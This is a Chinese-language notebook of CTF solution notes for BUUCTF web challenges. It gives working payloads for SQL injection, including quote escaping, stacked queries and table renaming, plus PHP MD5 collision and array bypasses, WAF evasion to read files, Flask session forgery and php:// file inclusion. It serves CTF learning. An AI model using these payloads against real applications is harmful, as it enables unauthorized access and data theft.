BUU 思路记录(更新中
一
select * from users where username=‘$_POST["username"]‘ and password=‘$_POST["password"]‘;
显示了后端的SQL语句,我们可以使用\转义符转义username后面的引号,令username的第一个引号和password的第一个引号闭合,逃逸出password第一个引号后面的内容
如输入
username=admin\
password=or 1#
数据库查询语句事实上变成了这样:
select * from users where username=‘admin\‘ and password=‘or 1#‘;
二
<?php
include 'flag.php';
$yds = "dog";
$is = "cat";
$handsome = 'yds';
foreach($_POST as $x => $y){
$$x = $y;
}
foreach($_GET as $x => $y){
$$x = $$y;
}
foreach($_GET as $x => $y){
if($_GET['flag'] === $x && $x !== 'flag'){
exit($handsome);
}
}
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($yds);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($is);
}
echo "the flag is: ".$flag;
- ?yds=flag
- ?is=flag&flag=flag
三
<?php
$str = '123abc';
print(preg_replace('/(\S)(\S)/i','strtolower("\\1")',$str));
?>
=》 strtolower("1")strtolower("3")strtolower("b")
四
if((string)$_POST['param1']!==(string)$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!);}
param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1U%5D%83%60%FB%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB%07%FE%A2
if($_POST['param1']!==$_POST['param2'] && md5($_POST['param1'])===md5($_POST['param2'])){
die("success!");
}
param1[]=QNKCDZO¶m2[]=240610708
五
[强网杯 2019]随便注
alter table words rename to word;
将words表重命名为word
alter table`1919810931114514` rename to words;
将1919810931114514表重命名为words
alter table words change flag data varchar(100);
将表words(原表1919810931114514)中的列名flag改为data
alter table words add column id int(10) default 1 --+
在words表中插入id列
六
[SUCTF 2019]EasySQL
1.尝试 `‘ ’‘ ) )) ') ") ')) ")),找不到字符型注入点
2.输入不等于0的数字返回 1 ;输入过滤了的字符返回 Nonono;输入其他字符空白无显示;
3.尝试堆叠注入,1;show tables;#
时返回如下:
Array ( [0] => 1) Array ( [0] => Flag )
推测其执行语句为select GET['query'] || flag from Flag
4.flag被过滤(还有好多都被过滤了哈)
5.重点来了
oracle 支持 通过 ‘ || ’ 来实现字符串拼接,但在mysql 不支持。 在mysql里,它只是个 或运算 的符号。或运算符前面是1,则结果为1;或运算符前面是0,则要看后面是1还是0,字符视为0.
但是我们可以通过设置 sql_mode=pipes_as_concat; 来使 || 用作拼接的作用
在这里我们可以传入 1;set sql_mode=pipes_as_concat;select *,1
其真正的执行语句是 select 1;set sql_mode=pipes_as_concat;select *,1 || flag from Flag
这样就可以把 1和flag仪器显示出来
七
[护网杯 2018]easy_tornado
Tornado框架的附属文件handler.settings中存在cookie_secret
八
[RoarCTF 2019]Easy Calc
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
1.利用php字符串解析特性绕过WAF
2.var_dump(scandir(chr(47)))
,查看根目录 ( \ 的ascii为47)
发现 [7]=> string(5) "f1agg"
3.file_get_contents()读取文件
? num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
九
[HCTF 2018]admin Flask session伪造
session是浏览器与服务器交互的会话,这个session可以来验证访问者的身份,大多数的session都是保存在服务器的,但是也有少部分是客户端session,比如flask框架。,flask是一个python轻量级web框架,他的session存储在客户端的cookie字段中
在该题就是要伪造session,欺骗服务器,假装自己就是admin
从题目给的hint https://github.com/woadsl1234/hctf_flask/(change password 页面查看源码)
伪造session,需要用来签名的SECRET_KEY
,可以在config.py里找到为ckj123
这里首先要随便注册一个账号,得到session
session=.eJw9kE2LwjAURf_KkLWLNqMbwYUQLS28hEhqyNuI1jpp0jhDq_RD_O_TccDVXRzugXsf5HBpytaS5a25lzNyqM5k-SAfJ7IkoNAJdnYYcgph8yn0thJsb80oKTqYG5XVEDIvNPRCQQeuGECbSDBrRZJZSKae851gsscAFHU6iiTtuUsjrmHkbB2hKhYTH9DZGpzshKo9BjMIlVXA8sGETcwTmHMFMf_zOPTo1gsz-gUE6DnbUB7yFXnOSNE2l8Pt25fX9wROtzUG9CLZVSZIyp2PjN5ZUOkAQUaTdm4c1qinnLhQ-YBy9dJV4fhVvk37WNJT90-uxzABcv25tGRG7m3ZvG4jcUSevxidbLs.Xwb4GQ.icCsKPYayHjgXi1rCcbFCkrVJnI;
解密:python flask_session_manager.py decode -c -s # -c是flask cookie里的session值 -s参数是SECRET_KEY
加密:python flask_session_manager.py encode -s -t # -s参数是SECRET_KEY -t参数是session的参照格式,也就是session解密后的格式
这里将name的值改为admin
登入后页面修改伪造的session得到flag
十
[ZJCTF 2019]NiZhuanSiWei
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
POST:welcome to the zjctf
ps:这里是file=useless.php而不是file=php://filter/convert.base64-encode/resource=useless.php
因为我们要include的是这个页面,不是它的Base64化的源码
php://filter/convert.base64-encode/resource=useless.php的作用是读取useless.php页面的源码(经过bae64)